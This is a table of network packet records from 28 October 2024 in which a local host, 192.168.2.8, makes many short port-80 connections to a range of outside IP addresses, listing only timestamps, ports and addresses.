Oct 28, 2024 16:39:59.491143942 CET	49812	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:59.491179943 CET	49812	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:39:59.496427059 CET	80	49812	3.94.10.34	192.168.2.8
Oct 28, 2024 16:39:59.496464014 CET	80	49812	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:00.155962944 CET	80	49812	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:00.156965017 CET	49812	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:00.163650036 CET	80	49812	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:00.165071011 CET	49812	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:00.174911976 CET	49818	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:00.180809975 CET	80	49818	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:00.180893898 CET	49818	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:00.181891918 CET	49818	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:00.181891918 CET	49818	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:00.188493967 CET	80	49818	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:00.188571930 CET	80	49818	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.002589941 CET	49818	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.004689932 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.010134935 CET	80	49824	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.012613058 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.012722015 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.012739897 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.018673897 CET	80	49824	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.018820047 CET	80	49824	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.836795092 CET	80	49824	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.840972900 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.846746922 CET	80	49824	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:01.849510908 CET	49824	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:01.881676912 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:01.887203932 CET	80	49830	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:01.887284040 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:01.887511015 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:01.887556076 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:01.894412994 CET	80	49830	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:01.894428015 CET	80	49830	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:02.861530066 CET	80	49830	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:02.908603907 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:02.913130999 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:02.918958902 CET	80	49830	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:02.919012070 CET	49830	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:03.397466898 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:03.402951956 CET	80	49839	85.214.228.140	192.168.2.8
Oct 28, 2024 16:40:03.403026104 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:03.426528931 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:03.426572084 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:03.431998014 CET	80	49839	85.214.228.140	192.168.2.8
Oct 28, 2024 16:40:03.432117939 CET	80	49839	85.214.228.140	192.168.2.8
Oct 28, 2024 16:40:04.275613070 CET	80	49839	85.214.228.140	192.168.2.8
Oct 28, 2024 16:40:04.289937019 CET	49844	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:04.295281887 CET	80	49844	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:04.295348883 CET	49844	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:04.295520067 CET	49844	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:04.295558929 CET	49844	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:04.300926924 CET	80	49844	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:04.300987959 CET	80	49844	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:04.328351021 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:05.008887053 CET	49844	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:05.010549068 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:05.015947104 CET	80	49848	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:05.018158913 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:05.018404007 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:05.018416882 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:05.024156094 CET	80	49848	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:05.024168968 CET	80	49848	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:06.478621960 CET	80	49848	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:06.478816032 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:06.484739065 CET	80	49848	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:06.484807014 CET	49848	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:06.492142916 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:06.497678041 CET	80	49859	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:06.497762918 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:06.497925043 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:06.497961998 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:06.503233910 CET	80	49859	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:06.503278017 CET	80	49859	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:06.728729010 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:40:06.728809118 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:40:06.728913069 CET	49742	80	192.168.2.8	165.160.13.20
Oct 28, 2024 16:40:06.734183073 CET	80	49742	165.160.13.20	192.168.2.8
Oct 28, 2024 16:40:07.326493025 CET	80	49859	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:07.326747894 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:07.332587004 CET	80	49859	34.211.97.45	192.168.2.8
Oct 28, 2024 16:40:07.332640886 CET	49859	80	192.168.2.8	34.211.97.45
Oct 28, 2024 16:40:07.344233990 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:07.349809885 CET	80	49865	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:07.350172043 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:07.350415945 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:07.350449085 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:07.355806112 CET	80	49865	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:07.355828047 CET	80	49865	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:08.798305988 CET	80	49865	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:08.805612087 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:08.811570883 CET	80	49865	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:08.811666012 CET	49865	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:08.878783941 CET	49874	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:08.887193918 CET	80	49874	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:08.887284994 CET	49874	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:08.890266895 CET	49874	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:08.890290976 CET	49874	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:08.895781994 CET	80	49874	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:08.895803928 CET	80	49874	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.012404919 CET	49874	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.017343998 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.022607088 CET	80	49876	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.024033070 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.024033070 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.024255037 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.029460907 CET	80	49876	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.029644966 CET	80	49876	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.685441971 CET	80	49876	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.685682058 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.691687107 CET	80	49876	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:09.692187071 CET	49876	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:09.709933996 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:09.715682983 CET	80	49879	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:09.715750933 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:09.715883970 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:09.715902090 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:09.721714973 CET	80	49879	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:09.721743107 CET	80	49879	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:11.145366907 CET	80	49879	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:11.147767067 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:11.153729916 CET	80	49879	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:11.154459953 CET	49879	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:11.164902925 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:11.170305967 CET	80	49888	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:11.170396090 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:11.170578957 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:11.170593977 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:11.175975084 CET	80	49888	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:11.176249981 CET	80	49888	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:12.127710104 CET	80	49888	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:12.128254890 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:12.134180069 CET	80	49888	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:12.134231091 CET	49888	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:12.146517038 CET	49895	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:12.151998997 CET	80	49895	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:12.152075052 CET	49895	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:12.152235031 CET	49895	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:12.152256966 CET	49895	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:12.157572031 CET	80	49895	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:12.158710003 CET	80	49895	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:13.003026962 CET	49895	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:13.004437923 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:13.009845972 CET	80	49901	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:13.015445948 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:13.015554905 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:13.015609980 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:13.020898104 CET	80	49901	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:13.021020889 CET	80	49901	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:14.472255945 CET	80	49901	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:14.518054962 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:14.568859100 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:14.574726105 CET	80	49901	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:14.574822903 CET	49901	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:14.631548882 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:14.636948109 CET	80	49911	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:14.637027025 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:14.637157917 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:14.637173891 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:14.642443895 CET	80	49911	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:14.642456055 CET	80	49911	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:16.062576056 CET	80	49911	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:16.062937021 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:16.070815086 CET	80	49911	13.251.16.150	192.168.2.8
Oct 28, 2024 16:40:16.070919037 CET	49911	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:40:16.079390049 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.085796118 CET	80	49917	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:16.085876942 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.086004019 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.086041927 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.091348886 CET	80	49917	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:16.091408968 CET	80	49917	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:16.753813028 CET	80	49917	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:16.758312941 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.764117956 CET	80	49917	18.208.156.248	192.168.2.8
Oct 28, 2024 16:40:16.765682936 CET	49917	80	192.168.2.8	18.208.156.248
Oct 28, 2024 16:40:16.773192883 CET	49922	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:16.778529882 CET	80	49922	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:16.781698942 CET	49922	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:16.781788111 CET	49922	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:16.781807899 CET	49922	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:16.787272930 CET	80	49922	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:16.787292004 CET	80	49922	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.005587101 CET	49922	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.039897919 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.045521021 CET	80	49924	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.045746088 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.047280073 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.047338009 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.052824974 CET	80	49924	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.052839041 CET	80	49924	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.893160105 CET	80	49924	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.893393040 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.899575949 CET	80	49924	18.246.231.120	192.168.2.8
Oct 28, 2024 16:40:17.899661064 CET	49924	80	192.168.2.8	18.246.231.120
Oct 28, 2024 16:40:17.908286095 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:17.913953066 CET	80	49930	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:17.915460110 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:17.915541887 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:17.915600061 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:17.920977116 CET	80	49930	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:17.921560049 CET	80	49930	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:18.583690882 CET	80	49930	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:18.583951950 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:18.589869976 CET	80	49930	44.221.84.105	192.168.2.8
Oct 28, 2024 16:40:18.589931965 CET	49930	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:18.788206100 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:18.793868065 CET	80	49936	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:18.793956995 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:18.794260979 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:18.794286966 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:18.799913883 CET	80	49936	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:18.799932003 CET	80	49936	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:19.630018950 CET	80	49936	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:19.630410910 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:19.636420965 CET	80	49936	54.244.188.177	192.168.2.8
Oct 28, 2024 16:40:19.636482000 CET	49936	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:40:19.687133074 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:19.692553043 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:19.695543051 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:19.695787907 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:19.695807934 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:19.701448917 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:19.701482058 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.002543926 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.003988028 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.546056986 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.546116114 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.546272993 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.546308994 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.546401978 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.546443939 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.546827078 CET	80	49942	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.546864033 CET	49942	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.555632114 CET	80	49943	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.555697918 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.555857897 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.555874109 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:21.561232090 CET	80	49943	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:21.561244965 CET	80	49943	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:22.522707939 CET	80	49943	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:22.523080111 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:22.528985023 CET	80	49943	3.254.94.185	192.168.2.8
Oct 28, 2024 16:40:22.529041052 CET	49943	80	192.168.2.8	3.254.94.185
Oct 28, 2024 16:40:22.543669939 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:22.549156904 CET	80	49949	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:22.549252987 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:22.549654007 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:22.549678087 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:22.555402994 CET	80	49949	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:22.555413008 CET	80	49949	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:23.966998100 CET	80	49949	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:23.970124960 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:23.975856066 CET	80	49949	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:23.975919008 CET	49949	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:24.019140005 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:24.024528980 CET	80	49960	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:24.024629116 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:24.027254105 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:24.028794050 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:24.032646894 CET	80	49960	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:24.034265995 CET	80	49960	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:24.997720957 CET	80	49960	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:24.997896910 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:25.004584074 CET	80	49960	34.246.200.160	192.168.2.8
Oct 28, 2024 16:40:25.004661083 CET	49960	80	192.168.2.8	34.246.200.160
Oct 28, 2024 16:40:25.013153076 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:25.020164967 CET	80	49965	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:25.020241976 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:25.020401001 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:25.020401001 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:25.025702000 CET	80	49965	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:25.025713921 CET	80	49965	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:26.499965906 CET	80	49965	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:26.561089993 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:26.644952059 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:26.851118088 CET	80	49965	47.129.31.212	192.168.2.8
Oct 28, 2024 16:40:26.851200104 CET	49965	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:40:27.036273003 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.042495966 CET	80	49974	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:27.042570114 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.042694092 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.042694092 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.049982071 CET	80	49974	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:27.050040960 CET	80	49974	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:27.127762079 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:27.127826929 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:27.134013891 CET	80	49744	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:27.134077072 CET	49744	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:27.134221077 CET	80	49839	85.214.228.140	192.168.2.8
Oct 28, 2024 16:40:27.134288073 CET	49839	80	192.168.2.8	85.214.228.140
Oct 28, 2024 16:40:27.719687939 CET	80	49974	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:27.723218918 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.729461908 CET	80	49974	3.94.10.34	192.168.2.8
Oct 28, 2024 16:40:27.729518890 CET	49974	80	192.168.2.8	3.94.10.34
Oct 28, 2024 16:40:27.758558989 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:27.764513016 CET	80	49975	35.164.78.200	192.168.2.8
Oct 28, 2024 16:40:27.764578104 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:27.769193888 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:27.769212008 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:27.774641037 CET	80	49975	35.164.78.200	192.168.2.8
Oct 28, 2024 16:40:27.774677992 CET	80	49975	35.164.78.200	192.168.2.8
Oct 28, 2024 16:40:28.599481106 CET	80	49975	35.164.78.200	192.168.2.8
Oct 28, 2024 16:40:28.599633932 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:28.605551958 CET	80	49975	35.164.78.200	192.168.2.8
Oct 28, 2024 16:40:28.607120991 CET	49975	80	192.168.2.8	35.164.78.200
Oct 28, 2024 16:40:28.616022110 CET	49980	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:28.621484041 CET	80	49980	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:28.624645948 CET	49980	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:28.624773026 CET	49980	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:28.624857903 CET	49980	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:28.630094051 CET	80	49980	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:28.630719900 CET	80	49980	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:29.003351927 CET	49980	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:29.042133093 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:29.047667980 CET	80	49984	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:29.047796011 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:29.047940016 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:29.048002005 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:29.053322077 CET	80	49984	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:29.053354025 CET	80	49984	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:30.483846903 CET	80	49984	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:30.484056950 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:30.489830971 CET	80	49984	18.141.10.107	192.168.2.8
Oct 28, 2024 16:40:30.489900112 CET	49984	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:40:30.498435974 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:30.503911972 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:30.503992081 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:30.504108906 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:30.504159927 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:30.509589911 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:30.509603024 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:31.150042057 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:31.152846098 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:31.152875900 CET	49988	80	192.168.2.8	208.100.26.245
Oct 28, 2024 16:40:31.158468008 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:31.158615112 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:31.300152063 CET	80	49988	208.100.26.245	192.168.2.8
Oct 28, 2024 16:40:31.314145088 CET	49992	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:40:31.319699049 CET	80	49992	44.221.84.105	192.168.2.8
